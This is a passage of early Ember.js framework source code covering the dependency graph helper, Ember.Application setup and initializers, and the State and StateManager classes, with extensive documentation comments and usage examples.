} } visit(from, checkCycle); from.hasOutgoing = true; to.incoming[fromName] = from; to.incomingNames.push(fromName); }; DAG.prototype.topsort = function(fn) { var visited = {}, vertices = this.vertices, names = this.names, len = names.length, i, vertex; for (i = 0; i < len; i++) { vertex = vertices[names[i]]; if (!vertex.hasOutgoing) { visit(vertex, fn, visited); } } }; DAG.prototype.addEdges = function(name, value, before, after) { var i; this.map(name, value); if (before) { if (typeof before === 'string') { this.addEdge(name, before); } else { for (i = 0; i < before.length; i++) { this.addEdge(name, before[i]); } } } if (after) { if (typeof after === 'string') { this.addEdge(after, name); } else { for (i = 0; i < after.length; i++) { this.addEdge(after[i], name); } } } }; Ember.DAG = DAG; })(); (function() { /** @module ember @submodule ember-application */ var get = Ember.get, set = Ember.set, classify = Ember.String.classify, decamelize = Ember.String.decamelize; /** An instance of `Ember.Application` is the starting point for every Ember application. It helps to instantiate, initialize and coordinate the many objects that make up your app. Each Ember app has one and only one `Ember.Application` object. In fact, the very first thing you should do in your application is create the instance: ```javascript window.App = Ember.Application.create(); ``` Typically, the application object is the only global variable. All other classes in your app should be properties on the `Ember.Application` instance, which highlights its first role: a global namespace. For example, if you define a view class, it might look like this: ```javascript App.MyView = Ember.View.extend(); ``` By default, calling `Ember.Application.create()` will automatically initialize your application by calling the `Ember.Application.initialize()` method. If you need to delay initialization, you can call your app's `deferReadiness()` method. When you are ready for your app to be initialized, call its `advanceReadiness()` method. Because `Ember.Application` inherits from `Ember.Namespace`, any classes you create will have useful string representations when calling `toString()`. See the `Ember.Namespace` documentation for more information. While you can think of your `Ember.Application` as a container that holds the other classes in your application, there are several other responsibilities going on under-the-hood that you may want to understand. ### Event Delegation Ember uses a technique called _event delegation_. This allows the framework to set up a global, shared event listener instead of requiring each view to do it manually. For example, instead of each view registering its own `mousedown` listener on its associated element, Ember sets up a `mousedown` listener on the `body`. If a `mousedown` event occurs, Ember will look at the target of the event and start walking up the DOM node tree, finding corresponding views and invoking their `mouseDown` method as it goes. `Ember.Application` has a number of default events that it listens for, as well as a mapping from lowercase events to camel-cased view method names. For example, the `keypress` event causes the `keyPress` method on the view to be called, the `dblclick` event causes `doubleClick` to be called, and so on. If there is a browser event that Ember does not listen for by default, you can specify custom events and their corresponding view method names by setting the application's `customEvents` property: ```javascript App = Ember.Application.create({ customEvents: { // add support for the loadedmetadata media // player event 'loadedmetadata': "loadedMetadata" } }); ``` By default, the application sets up these event listeners on the document body. However, in cases where you are embedding an Ember application inside an existing page, you may want it to set up the listeners on an element inside the body. For example, if only events inside a DOM element with the ID of `ember-app` should be delegated, set your application's `rootElement` property: ```javascript window.App = Ember.Application.create({ rootElement: '#ember-app' }); ``` The `rootElement` can be either a DOM element or a jQuery-compatible selector string. Note that *views appended to the DOM outside the root element will not receive events.* If you specify a custom root element, make sure you only append views inside it! To learn more about the advantages of event delegation and the Ember view layer, and a list of the event listeners that are setup by default, visit the [Ember View Layer guide](http://emberjs.com/guides/view_layer#toc_event-delegation). ### Initializers Libraries on top of Ember can register additional initializers, like so: ```javascript Ember.Application.initializer({ name: "store", initialize: function(container, application) { container.register('store', 'main', application.Store); } }); ``` ### Routing In addition to creating your application's router, `Ember.Application` is also responsible for telling the router when to start routing. By default, the router will begin trying to translate the current URL into application state once the browser emits the `DOMContentReady` event. If you need to defer routing, you can call the application's `deferReadiness()` method. Once routing can begin, call the `advanceReadiness()` method. If there is any setup required before routing begins, you can implement a `ready()` method on your app that will be invoked immediately before routing begins: ```javascript window.App = Ember.Application.create({ ready: function() { this.set('router.enableLogging', true); } }); To begin routing, you must have at a minimum a top-level controller and view. You define these as `App.ApplicationController` and `App.ApplicationView`, respectively. Your application will not work if you do not define these two mandatory classes. For example: ```javascript App.ApplicationView = Ember.View.extend({ templateName: 'application' }); App.ApplicationController = Ember.Controller.extend(); ``` @class Application @namespace Ember @extends Ember.Namespace */ var Application = Ember.Application = Ember.Namespace.extend( /** @scope Ember.Application.prototype */{ /** The root DOM element of the Application. This can be specified as an element or a [jQuery-compatible selector string](http://api.jquery.com/category/selectors/). This is the element that will be passed to the Application's, `eventDispatcher`, which sets up the listeners for event delegation. Every view in your application should be a child of the element you specify here. @property rootElement @type DOMElement @default 'body' */ rootElement: 'body', /** The `Ember.EventDispatcher` responsible for delegating events to this application's views. The event dispatcher is created by the application at initialization time and sets up event listeners on the DOM element described by the application's `rootElement` property. See the documentation for `Ember.EventDispatcher` for more information. @property eventDispatcher @type Ember.EventDispatcher @default null */ eventDispatcher: null, /** The DOM events for which the event dispatcher should listen. By default, the application's `Ember.EventDispatcher` listens for a set of standard DOM events, such as `mousedown` and `keyup`, and delegates them to your application's `Ember.View` instances. If you would like additional events to be delegated to your views, set your `Ember.Application`'s `customEvents` property to a hash containing the DOM event name as the key and the corresponding view method name as the value. For example: ```javascript App = Ember.Application.create({ customEvents: { // add support for the loadedmetadata media // player event 'loadedmetadata': "loadedMetadata" } }); ``` @property customEvents @type Object @default null */ customEvents: null, isInitialized: false, // Start off the number of deferrals at 1. This will be // decremented by the Application's own `initialize` method. _readinessDeferrals: 1, init: function() { if (!this.$) { this.$ = Ember.$; } this.__container__ = this.buildContainer(); this.Router = this.Router || this.defaultRouter(); if (this.Router) { this.Router.namespace = this; } this._super(); this.deferUntilDOMReady(); this.scheduleInitialize(); }, /** @private Build the container for the current application. Also register a default application view in case the application itself does not. @method buildContainer @return {Ember.Container} the configured container */ buildContainer: function() { var container = this.__container__ = Application.buildContainer(this); return container; }, /** @private If the application has not opted out of routing and has not explicitly defined a router, supply a default router for the application author to configure. This allows application developers to do: ```javascript App = Ember.Application.create(); App.Router.map(function(match) { match("/").to("index"); }); ``` @method defaultRouter @return {Ember.Router} the default router */ defaultRouter: function() { // Create a default App.Router if one was not supplied to make // it possible to do App.Router.map(...) without explicitly // creating a router first. if (this.router === undefined) { return Ember.Router.extend(); } }, /** @private Defer Ember readiness until DOM readiness. By default, Ember will wait for both DOM readiness and application initialization, as well as any deferrals registered by initializers. @method deferUntilDOMReady */ deferUntilDOMReady: function() { this.deferReadiness(); var self = this; this.$().ready(function() { self.advanceReadiness(); }); }, /** @private Automatically initialize the application once the DOM has become ready. The initialization itself is deferred using Ember.run.once, which ensures that application loading finishes before booting. If you are asynchronously loading code, you should call `deferReadiness()` to defer booting, and then call `advanceReadiness()` once all of your code has finished loading. @method scheduleInitialize */ scheduleInitialize: function() { var self = this; this.$().ready(function() { if (self.isDestroyed || self.isInitialized) return; Ember.run.once(self, 'initialize'); }); }, /** Use this to defer readiness until some condition is true. Example: ```javascript App = Ember.Application.create(); App.deferReadiness(); jQuery.getJSON("/auth-token", function(token) { App.token = token; App.advanceReadiness(); }); ``` This allows you to perform asynchronous setup logic and defer booting your application until the setup has finished. However, if the setup requires a loading UI, it might be better to use the router for this purpose. @method deferReadiness */ deferReadiness: function() { this._readinessDeferrals++; }, /** @method advanceReadiness @see {Ember.Application#deferReadiness} */ advanceReadiness: function() { this._readinessDeferrals--; if (this._readinessDeferrals === 0) { Ember.run.once(this, this.didBecomeReady); } }, /** registers a factory for later injection Example: ```javascript App = Ember.Application.create(); App.Person = Ember.Object.extend({}); App.Orange = Ember.Object.extend({}); App.Email = Ember.Object.extend({}); App.register('model:user', App.Person, {singleton: false }); App.register('fruit:favorite', App.Orange); App.register('communication:main', App.Email, {singleton: false}); ``` @method register @param type {String} @param name {String} @param factory {String} @param options {String} (optional) **/ register: function() { var container = this.__container__; container.register.apply(container, arguments); }, /** defines an injection or typeInjection Example: ```javascript App.inject(<full_name or type>, <property name>, <full_name>) App.inject('model:user', 'email', 'model:email') App.inject('model', 'source', 'source:main') ``` @method inject @param factoryNameOrType {String} @param property {String} @param injectionName {String} **/ inject: function(){ var container = this.__container__; container.injection.apply(container, arguments); }, /** @private Initialize the application. This happens automatically. Run any initializers and run the application load hook. These hooks may choose to defer readiness. For example, an authentication hook might want to defer readiness until the auth token has been retrieved. @method initialize */ initialize: function() { this.isInitialized = true; // At this point, the App.Router must already be assigned this.__container__.register('router', 'main', this.Router); this.runInitializers(); Ember.runLoadHooks('application', this); // At this point, any initializers or load hooks that would have wanted // to defer readiness have fired. In general, advancing readiness here // will proceed to didBecomeReady. this.advanceReadiness(); return this; }, /** @private @method runInitializers */ runInitializers: function() { var initializers = get(this.constructor, 'initializers'), container = this.__container__, graph = new Ember.DAG(), namespace = this, properties, i, initializer; for (i=0; i<initializers.length; i++) { initializer = initializers[i]; graph.addEdges(initializer.name, initializer.initialize, initializer.before, initializer.after); } graph.topsort(function (vertex) { var initializer = vertex.value; initializer(container, namespace); }); }, /** @private @method didBecomeReady */ didBecomeReady: function() { this.setupEventDispatcher(); this.ready(); // user hook this.startRouting(); if (!Ember.testing) { // Eagerly name all classes that are already loaded Ember.Namespace.processAll(); Ember.BOOTED = true; } }, /** @private Setup up the event dispatcher to receive events on the application's `rootElement` with any registered `customEvents`. @method setupEventDispatcher */ setupEventDispatcher: function() { var eventDispatcher = this.createEventDispatcher(), customEvents = get(this, 'customEvents'); eventDispatcher.setup(customEvents); }, /** @private Create an event dispatcher for the application's `rootElement`. @method createEventDispatcher */ createEventDispatcher: function() { var rootElement = get(this, 'rootElement'), eventDispatcher = Ember.EventDispatcher.create({ rootElement: rootElement }); set(this, 'eventDispatcher', eventDispatcher); return eventDispatcher; }, /** @private If the application has a router, use it to route to the current URL, and trigger a new call to `route` whenever the URL changes. @method startRouting @property router {Ember.Router} */ startRouting: function() { var router = this.__container__.lookup('router:main'); if (!router) { return; } router.startRouting(); }, /** Called when the Application has become ready. The call will be delayed until the DOM has become ready. @event ready */ ready: Ember.K, willDestroy: function() { Ember.BOOTED = false; var eventDispatcher = get(this, 'eventDispatcher'); if (eventDispatcher) { eventDispatcher.destroy(); } this.__container__.destroy(); }, initializer: function(options) { this.constructor.initializer(options); } }); Ember.Application.reopenClass({ concatenatedProperties: ['initializers'], initializers: Ember.A(), initializer: function(initializer) { var initializers = get(this, 'initializers'); initializers.push(initializer); }, /** @private This creates a container with the default Ember naming conventions. It also configures the container: * registered views are created every time they are looked up (they are not singletons) * registered templates are not factories; the registered value is returned directly. * the router receives the application as its `namespace` property * all controllers receive the router as their `target` and `controllers` properties * all controllers receive the application as their `namespace` property * the application view receives the application controller as its `controller` property * the application view receives the application template as its `defaultTemplate` property @method buildContainer @static @param {Ember.Application} namespace the application to build the container for. @return {Ember.Container} the built container */ buildContainer: function(namespace) { var container = new Ember.Container(); Ember.Container.defaultContainer = container; container.set = Ember.set; container.resolver = resolverFor(namespace); container.optionsForType('view', { singleton: false }); container.optionsForType('template', { instantiate: false }); container.register('application', 'main', namespace, { instantiate: false }); container.injection('router:main', 'namespace', 'application:main'); container.typeInjection('controller', 'target', 'router:main'); container.typeInjection('controller', 'namespace', 'application:main'); container.typeInjection('route', 'router', 'router:main'); return container; } }); /** @private This function defines the default lookup rules for container lookups: * templates are looked up on `Ember.TEMPLATES` * other names are looked up on the application after classifying the name. For example, `controller:post` looks up `App.PostController` by default. * if the default lookup fails, look for registered classes on the container This allows the application to register default injections in the container that could be overridden by the normal naming convention. @param {Ember.Namespace} namespace the namespace to look for classes @return {any} the resolved value for a given lookup */ function resolverFor(namespace) { return function(fullName) { var nameParts = fullName.split(":"), type = nameParts[0], name = nameParts[1]; if (type === 'template') { var templateName = name.replace(/\./g, '/'); if (Ember.TEMPLATES[templateName]) { return Ember.TEMPLATES[templateName]; } templateName = decamelize(templateName); if (Ember.TEMPLATES[templateName]) { return Ember.TEMPLATES[templateName]; } } if (type === 'controller' || type === 'route' || type === 'view') { name = name.replace(/\./g, '_'); } var className = classify(name) + classify(type); var factory = get(namespace, className); if (factory) { return factory; } }; } Ember.runLoadHooks('Ember.Application', Ember.Application); })(); (function() { })(); (function() { /** @module ember @submodule ember-routing */ var get = Ember.get, set = Ember.set; var ControllersProxy = Ember.Object.extend({ controller: null, unknownProperty: function(controllerName) { var controller = get(this, 'controller'), needs = get(controller, 'needs'), container = controller.get('container'), dependency; for (var i=0, l=needs.length; i<l; i++) { dependency = needs[i]; if (dependency === controllerName) { return container.lookup('controller:' + controllerName); } } } }); function verifyDependencies(controller) { var needs = get(controller, 'needs'), container = get(controller, 'container'), dependency, satisfied = true; for (var i=0, l=needs.length; i<l; i++) { dependency = needs[i]; if (dependency.indexOf(':') === -1) { dependency = "controller:" + dependency; } if (!container.has(dependency)) { satisfied = false; } } return satisfied; } Ember.ControllerMixin.reopen({ concatenatedProperties: ['needs'], needs: [], init: function() { this._super.apply(this, arguments); // Structure asserts to still do verification but not string concat in production if(!verifyDependencies(this)) { } }, controllerFor: function(controllerName) { var container = get(this, 'container'); return container.lookup('controller:' + controllerName); }, controllers: Ember.computed(function() { return ControllersProxy.create({ controller: this }); }) }); })(); (function() { })(); (function() { /** Ember Application @module ember @submodule ember-application @requires ember-views, ember-states, ember-routing */ })(); (function() { var get = Ember.get, set = Ember.set; /** @module ember @submodule ember-states */ /** @class State @namespace Ember @extends Ember.Object @uses Ember.Evented */ Ember.State = Ember.Object.extend(Ember.Evented, /** @scope Ember.State.prototype */{ isState: true, /** A reference to the parent state. @property parentState @type Ember.State */ parentState: null, start: null, /** The name of this state. @property name @type String */ name: null, /** The full path to this state. @property path @type String */ path: Ember.computed(function() { var parentPath = get(this, 'parentState.path'), path = get(this, 'name'); if (parentPath) { path = parentPath + '.' + path; } return path; }), /** @private Override the default event firing from `Ember.Evented` to also call methods with the given name. @method trigger @param name */ trigger: function(name) { if (this[name]) { this[name].apply(this, [].slice.call(arguments, 1)); } this._super.apply(this, arguments); }, init: function() { var states = get(this, 'states'), foundStates; set(this, 'childStates', Ember.A()); set(this, 'eventTransitions', get(this, 'eventTransitions') || {}); var name, value, transitionTarget; // As a convenience, loop over the properties // of this state and look for any that are other // Ember.State instances or classes, and move them // to the `states` hash. This avoids having to // create an explicit separate hash. if (!states) { states = {}; for (name in this) { if (name === "constructor") { continue; } if (value = this[name]) { if (transitionTarget = value.transitionTarget) { this.eventTransitions[name] = transitionTarget; } this.setupChild(states, name, value); } } set(this, 'states', states); } else { for (name in states) { this.setupChild(states, name, states[name]); } } set(this, 'pathsCache', {}); set(this, 'pathsCacheNoContext', {}); }, setupChild: function(states, name, value) { if (!value) { return false; } if (value.isState) { set(value, 'name', name); } else if (Ember.State.detect(value)) { value = value.create({ name: name }); } if (value.isState) { set(value, 'parentState', this); get(this, 'childStates').pushObject(value); states[name] = value; return value; } }, lookupEventTransition: function(name) { var path, state = this; while(state && !path) { path = state.eventTransitions[name]; state = state.get('parentState'); } return path; }, /** A Boolean value indicating whether the state is a leaf state in the state hierarchy. This is `false` if the state has child states; otherwise it is true. @property isLeaf @type Boolean */ isLeaf: Ember.computed(function() { return !get(this, 'childStates').length; }), /** A boolean value indicating whether the state takes a context. By default we assume all states take contexts. @property hasContext @default true */ hasContext: true, /** This is the default transition event. @event setup @param {Ember.StateManager} manager @param context @see Ember.StateManager#transitionEvent */ setup: Ember.K, /** This event fires when the state is entered. @event enter @param {Ember.StateManager} manager */ enter: Ember.K, /** This event fires when the state is exited. @event exit @param {Ember.StateManager} manager */ exit: Ember.K }); Ember.State.reopenClass({ /** Creates an action function for transitioning to the named state while preserving context. The following example StateManagers are equivalent: ```javascript aManager = Ember.StateManager.create({ stateOne: Ember.State.create({ changeToStateTwo: Ember.State.transitionTo('stateTwo') }), stateTwo: Ember.State.create({}) }) bManager = Ember.StateManager.create({ stateOne: Ember.State.create({ changeToStateTwo: function(manager, context){ manager.transitionTo('stateTwo', context) } }), stateTwo: Ember.State.create({}) }) ``` @method transitionTo @static @param {String} target */ transitionTo: function(target) { var transitionFunction = function(stateManager, contextOrEvent) { var contexts = [], transitionArgs, Event = Ember.$ && Ember.$.Event; if (contextOrEvent && (Event && contextOrEvent instanceof Event)) { if (contextOrEvent.hasOwnProperty('contexts')) { contexts = contextOrEvent.contexts.slice(); } } else { contexts = [].slice.call(arguments, 1); } contexts.unshift(target); stateManager.transitionTo.apply(stateManager, contexts); }; transitionFunction.transitionTarget = target; return transitionFunction; } }); })(); (function() { /** @module ember @submodule ember-states */ var get = Ember.get, set = Ember.set, fmt = Ember.String.fmt; var arrayForEach = Ember.ArrayPolyfills.forEach; /** A Transition takes the enter, exit and resolve states and normalizes them: * takes any passed in contexts into consideration * adds in `initialState`s @class Transition @private */ var Transition = function(raw) { this.enterStates = raw.enterStates.slice(); this.exitStates = raw.exitStates.slice(); this.resolveState = raw.resolveState; this.finalState = raw.enterStates[raw.enterStates.length - 1] || raw.resolveState; }; Transition.prototype = { /** Normalize the passed in enter, exit and resolve states. This process also adds `finalState` and `contexts` to the Transition object. @method normalize @param {Ember.StateManager} manager the state manager running the transition @param {Array} contexts a list of contexts passed into `transitionTo` */ normalize: function(manager, contexts) { this.matchContextsToStates(contexts); this.addInitialStates(); this.removeUnchangedContexts(manager); return this; }, /** Match each of the contexts passed to `transitionTo` to a state. This process may also require adding additional enter and exit states if there are more contexts than enter states. @method matchContextsToStates @param {Array} contexts a list of contexts passed into `transitionTo` */ matchContextsToStates: function(contexts) { var stateIdx = this.enterStates.length - 1, matchedContexts = [], state, context; // Next, we will match the passed in contexts to the states they // represent. // // First, assign a context to each enter state in reverse order. If // any contexts are left, add a parent state to the list of states // to enter and exit, and assign a context to the parent state. // // If there are still contexts left when the state manager is // reached, raise an exception. // // This allows the following: // // |- root // | |- post // | | |- comments // | |- about (* current state) // // For `transitionTo('post.comments', post, post.get('comments')`, // the first context (`post`) will be assigned to `root.post`, and // the second context (`post.get('comments')`) will be assigned // to `root.post.comments`. // // For the following: // // |- root // | |- post // | | |- index (* current state) // | | |- comments // // For `transitionTo('post.comments', otherPost, otherPost.get('comments')`, // the `<root.post>` state will be added to the list of enter and exit // states because its context has changed. while (contexts.length > 0) { if (stateIdx >= 0) { state = this.enterStates[stateIdx--]; } else { if (this.enterStates.length) { state = get(this.enterStates[0], 'parentState'); if (!state) { throw "Cannot match all contexts to states"; } } else { // If re-entering the current state with a context, the resolve // state will be the current state. state = this.resolveState; } this.enterStates.unshift(state); this.exitStates.unshift(state); } // in routers, only states with dynamic segments have a context if (get(state, 'hasContext')) { context = contexts.pop(); } else { context = null; } matchedContexts.unshift(context); } this.contexts = matchedContexts; }, /** Add any `initialState`s to the list of enter states. @method addInitialStates */ addInitialStates: function() { var finalState = this.finalState, initialState; while(true) { initialState = get(finalState, 'initialState') || 'start'; finalState = get(finalState, 'states.' + initialState); if (!finalState) { break; } this.finalState = finalState; this.enterStates.push(finalState); this.contexts.push(undefined); } }, /** Remove any states that were added because the number of contexts exceeded the number of explicit enter states, but the context has not changed since the last time the state was entered. @method removeUnchangedContexts @param {Ember.StateManager} manager passed in to look up the last context for a states */ removeUnchangedContexts: function(manager) { // Start from the beginning of the enter states. If the state was added // to the list during the context matching phase, make sure the context // has actually changed since the last time the state was entered. while (this.enterStates.length > 0) { if (this.enterStates[0] !== this.exitStates[0]) { break; } if (this.enterStates.length === this.contexts.length) { if (manager.getStateMeta(this.enterStates[0], 'context') !== this.contexts[0]) { break; } this.contexts.shift(); } this.resolveState = this.enterStates.shift(); this.exitStates.shift(); } } }; var sendRecursively = function(event, currentState, isUnhandledPass) { var log = this.enableLogging, eventName = isUnhandledPass ? 'unhandledEvent' : event, action = currentState[eventName], contexts, sendRecursiveArguments, actionArguments; contexts = [].slice.call(arguments, 3); // Test to see if the action is a method that // can be invoked. Don't blindly check just for // existence, because it is possible the state // manager has a child state of the given name, // and we should still raise an exception in that // case. if (typeof action === 'function') { if (log) { if (isUnhandledPass) { Ember.Logger.log(fmt("STATEMANAGER: Unhandled event '%@' being sent to state %@.", [event, get(currentState, 'path')])); } else { Ember.Logger.log(fmt("STATEMANAGER: Sending event '%@' to state %@.", [event, get(currentState, 'path')])); } } actionArguments = contexts; if (isUnhandledPass) { actionArguments.unshift(event); } actionArguments.unshift(this); return action.apply(currentState, actionArguments); } else { var parentState = get(currentState, 'parentState'); if (parentState) { sendRecursiveArguments = contexts; sendRecursiveArguments.unshift(event, parentState, isUnhandledPass); return sendRecursively.apply(this, sendRecursiveArguments); } else if (!isUnhandledPass) { return sendEvent.call(this, event, contexts, true); } } }; var sendEvent = function(eventName, sendRecursiveArguments, isUnhandledPass) { sendRecursiveArguments.unshift(eventName, get(this, 'currentState'), isUnhandledPass); return sendRecursively.apply(this, sendRecursiveArguments); }; /** StateManager is part of Ember's implementation of a finite state machine. A StateManager instance manages a number of properties that are instances of `Ember.State`, tracks the current active state, and triggers callbacks when states have changed. ## Defining States The states of StateManager can be declared in one of two ways. First, you can define a `states` property that contains all the states: ```javascript managerA = Ember.StateManager.create({ states: { stateOne: Ember.State.create(), stateTwo: Ember.State.create() } }) managerA.get('states') // { // stateOne: Ember.State.create(), // stateTwo: Ember.State.create() // } ``` You can also add instances of `Ember.State` (or an `Ember.State` subclass) directly as properties of a StateManager. These states will be collected into the `states` property for you. ```javascript managerA = Ember.StateManager.create({ stateOne: Ember.State.create(), stateTwo: Ember.State.create() }) managerA.get('states') // { // stateOne: Ember.State.create(), // stateTwo: Ember.State.create() // } ``` ## The Initial State When created a StateManager instance will immediately enter into the state defined as its `start` property or the state referenced by name in its `initialState` property: ```javascript managerA = Ember.StateManager.create({ start: Ember.State.create({}) }) managerA.get('currentState.name') // 'start' managerB = Ember.StateManager.create({ initialState: 'beginHere', beginHere: Ember.State.create({}) }) managerB.get('currentState.name') // 'beginHere' ``` Because it is a property you may also provide a computed function if you wish to derive an `initialState` programmatically: ```javascript managerC = Ember.StateManager.create({ initialState: function(){ if (someLogic) { return 'active'; } else { return 'passive'; } }.property(), active: Ember.State.create({}), passive: Ember.State.create({}) }) ``` ## Moving Between States A StateManager can have any number of `Ember.State` objects as properties and can have a single one of these states as its current state. Calling `transitionTo` transitions between states: ```javascript robotManager = Ember.StateManager.create({ initialState: 'poweredDown', poweredDown: Ember.State.create({}), poweredUp: Ember.State.create({}) }) robotManager.get('currentState.name') // 'poweredDown' robotManager.transitionTo('poweredUp') robotManager.get('currentState.name') // 'poweredUp' ``` Before transitioning into a new state the existing `currentState` will have its `exit` method called with the StateManager instance as its first argument and an object representing the transition as its second argument. After transitioning into a new state the new `currentState` will have its `enter` method called with the StateManager instance as its first argument and an object representing the transition as its second argument. ```javascript robotManager = Ember.StateManager.create({ initialState: 'poweredDown', poweredDown: Ember.State.create({ exit: function(stateManager){ console.log("exiting the poweredDown state") } }), poweredUp: Ember.State.create({ enter: function(stateManager){ console.log("entering the poweredUp state. Destroy all humans.") } }) }) robotManager.get('currentState.name') // 'poweredDown' robotManager.transitionTo('poweredUp') // will log // 'exiting the poweredDown state' // 'entering the poweredUp state. Destroy all humans.' ``` Once a StateManager is already in a state, subsequent attempts to enter that state will not trigger enter or exit method calls. Attempts to transition into a state that the manager does not have will result in no changes in the StateManager's current state: ```javascript robotManager = Ember.StateManager.create({ initialState: 'poweredDown', poweredDown: Ember.State.create({ exit: function(stateManager){ console.log("exiting the poweredDown state") } }), poweredUp: Ember.State.create({ enter: function(stateManager){ console.log("entering the poweredUp state. Destroy all humans.") } }) }) robotManager.get('currentState.name') // 'poweredDown' robotManager.transitionTo('poweredUp') // will log // 'exiting the poweredDown state' // 'entering the poweredUp state. Destroy all humans.' robotManager.transitionTo('poweredUp') // no logging, no state change robotManager.transitionTo('someUnknownState') // silently fails robotManager.get('currentState.name') // 'poweredUp' ``` Each state property may itself contain properties that are instances of `Ember.State`. The StateManager can transition to specific sub-states in a series of transitionTo method calls or via a single transitionTo with the full path to the specific state. The StateManager will also keep track of the full path to its currentState ```javascript robotManager = Ember.StateManager.create({ initialState: 'poweredDown', poweredDown: Ember.State.create({ charging: Ember.State.create(), charged: Ember.State.create() }), poweredUp: Ember.State.create({ mobile: Ember.State.create(), stationary: Ember.State.create() }) }) robotManager.get('currentState.name') // 'poweredDown' robotManager.transitionTo('poweredUp') robotManager.get('currentState.name') // 'poweredUp' robotManager.transitionTo('mobile') robotManager.get('currentState.name') // 'mobile' // transition via a state path robotManager.transitionTo('poweredDown.charging') robotManager.get('currentState.name') // 'charging' robotManager.get('currentState.path') // 'poweredDown.charging' ``` Enter transition methods will be called for each state and nested child state in their hierarchical order. Exit methods will be called for each state and its nested states in reverse hierarchical order. Exit transitions for a parent state are not called when entering into one of its child states, only when transitioning to a new section of possible states in the hierarchy. ```javascript robotManager = Ember.StateManager.create({ initialState: 'poweredDown', poweredDown: Ember.State.create({ enter: function(){}, exit: function(){ console.log("exited poweredDown state") }, charging: Ember.State.create({ enter: function(){}, exit: function(){} }), charged: Ember.State.create({ enter: function(){ console.log("entered charged state") }, exit: function(){ console.log("exited charged state") } }) }), poweredUp: Ember.State.create({ enter: function(){ console.log("entered poweredUp state") }, exit: function(){}, mobile: Ember.State.create({ enter: function(){ console.log("entered mobile state") }, exit: function(){} }), stationary: Ember.State.create({ enter: function(){}, exit: function(){} }) }) }) robotManager.get('currentState.path') // 'poweredDown' robotManager.transitionTo('charged') // logs 'entered charged state' // but does *not* log 'exited poweredDown state' robotManager.get('currentState.name') // 'charged robotManager.transitionTo('poweredUp.mobile') // logs // 'exited charged state' // 'exited poweredDown state' // 'entered poweredUp state' // 'entered mobile state' ``` During development you can set a StateManager's `enableLogging` property to `true` to receive console messages of state transitions. ```javascript robotManager = Ember.StateManager.create({ enableLogging: true }) ``` ## Managing currentState with Actions To control which transitions are possible for a given state, and appropriately handle external events, the StateManager can receive and route action messages to its states via the `send` method. Calling to `send` with an action name will begin searching for a method with the same name starting at the current state and moving up through the parent states in a state hierarchy until an appropriate method is found or the StateManager instance itself is reached. If an appropriately named method is found it will be called with the state manager as the first argument and an optional `context` object as the second argument. ```javascript managerA = Ember.StateManager.create({ initialState: 'stateOne.substateOne.subsubstateOne', stateOne: Ember.State.create({ substateOne: Ember.State.create({ anAction: function(manager, context){ console.log("an action was called") }, subsubstateOne: Ember.State.create({}) }) }) }) managerA.get('currentState.name') // 'subsubstateOne' managerA.send('anAction') // 'stateOne.substateOne.subsubstateOne' has no anAction method // so the 'anAction' method of 'stateOne.substateOne' is called // and logs "an action was called" // with managerA as the first argument // and no second argument someObject = {} managerA.send('anAction', someObject) // the 'anAction' method of 'stateOne.substateOne' is called again // with managerA as the first argument and // someObject as the second argument. ``` If the StateManager attempts to send an action but does not find an appropriately named method in the current state or while moving upwards through the state hierarchy, it will repeat the process looking for a `unhandledEvent` method. If an `unhandledEvent` method is found, it will be called with the original event name as the second argument. If an `unhandledEvent` method is not found, the StateManager will throw a new Ember.Error. ```javascript managerB = Ember.StateManager.create({ initialState: 'stateOne.substateOne.subsubstateOne', stateOne: Ember.State.create({ substateOne: Ember.State.create({ subsubstateOne: Ember.State.create({}), unhandledEvent: function(manager, eventName, context) { console.log("got an unhandledEvent with name " + eventName); } }) }) }) managerB.get('currentState.name') // 'subsubstateOne' managerB.send('anAction') // neither `stateOne.substateOne.subsubstateOne` nor any of it's // parent states have a handler for `anAction`. `subsubstateOne` // also does not have a `unhandledEvent` method, but its parent // state, `substateOne`, does, and it gets fired. It will log // "got an unhandledEvent with name anAction" ``` Action detection only moves upwards through the state hierarchy from the current state. It does not search in other portions of the hierarchy. ```javascript managerC = Ember.StateManager.create({ initialState: 'stateOne.substateOne.subsubstateOne', stateOne: Ember.State.create({ substateOne: Ember.State.create({ subsubstateOne: Ember.State.create({}) }) }), stateTwo: Ember.State.create({ anAction: function(manager, context){ // will not be called below because it is // not a parent of the current state } }) }) managerC.get('currentState.name') // 'subsubstateOne' managerC.send('anAction') // Error: <Ember.StateManager:ember132> could not // respond to event anAction in state stateOne.substateOne.subsubstateOne. ``` Inside of an action method the given state should delegate `transitionTo` calls on its StateManager. ```javascript robotManager = Ember.StateManager.create({ initialState: 'poweredDown.charging', poweredDown: Ember.State.create({ charging: Ember.State.create({ chargeComplete: function(manager, context){ manager.transitionTo('charged') } }), charged: Ember.State.create({ boot: function(manager, context){ manager.transitionTo('poweredUp') } }) }), poweredUp: Ember.State.create({ beginExtermination: function(manager, context){ manager.transitionTo('rampaging') }, rampaging: Ember.State.create() }) }) robotManager.get('currentState.name') // 'charging' robotManager.send('boot') // throws error, no boot action // in current hierarchy robotManager.get('currentState.name') // remains 'charging' robotManager.send('beginExtermination') // throws error, no beginExtermination // action in current hierarchy robotManager.get('currentState.name') // remains 'charging' robotManager.send('chargeComplete') robotManager.get('currentState.name') // 'charged' robotManager.send('boot') robotManager.get('currentState.name') // 'poweredUp' robotManager.send('beginExtermination', allHumans) robotManager.get('currentState.name') // 'rampaging' ``` Transition actions can also be created using the `transitionTo` method of the `Ember.State` class. The following example StateManagers are equivalent: ```javascript aManager = Ember.StateManager.create({ stateOne: Ember.State.create({ changeToStateTwo: Ember.State.transitionTo('stateTwo') }), stateTwo: Ember.State.create({}) }) bManager = Ember.StateManager.create({ stateOne: Ember.State.create({ changeToStateTwo: function(manager, context){ manager.transitionTo('stateTwo', context) } }), stateTwo: Ember.State.create({}) }) ``` @class StateManager @namespace Ember @extends Ember.State **/ Ember.StateManager = Ember.State.extend({ /** @private When creating a new statemanager, look for a default state to transition into. This state can either be named `start`, or can be specified using the `initialState` property. @method init */ init: function() { this._super(); set(this, 'stateMeta', Ember.Map.create()); var initialState = get(this, 'initialState'); if (!initialState && get(this, 'states.start')) { initialState = 'start'; } if (initialState) { this.transitionTo(initialState); } }, stateMetaFor: function(state) { var meta = get(this, 'stateMeta'), stateMeta = meta.get(state); if (!stateMeta) { stateMeta = {}; meta.set(state, stateMeta); } return stateMeta; }, setStateMeta: function(state, key, value) { return set(this.stateMetaFor(state), key, value); }, getStateMeta: function(state, key) { return get(this.stateMetaFor(state), key); }, /** The current state from among the manager's possible states. This property should not be set directly. Use `transitionTo` to move between states by name. @property currentState @type Ember.State */ 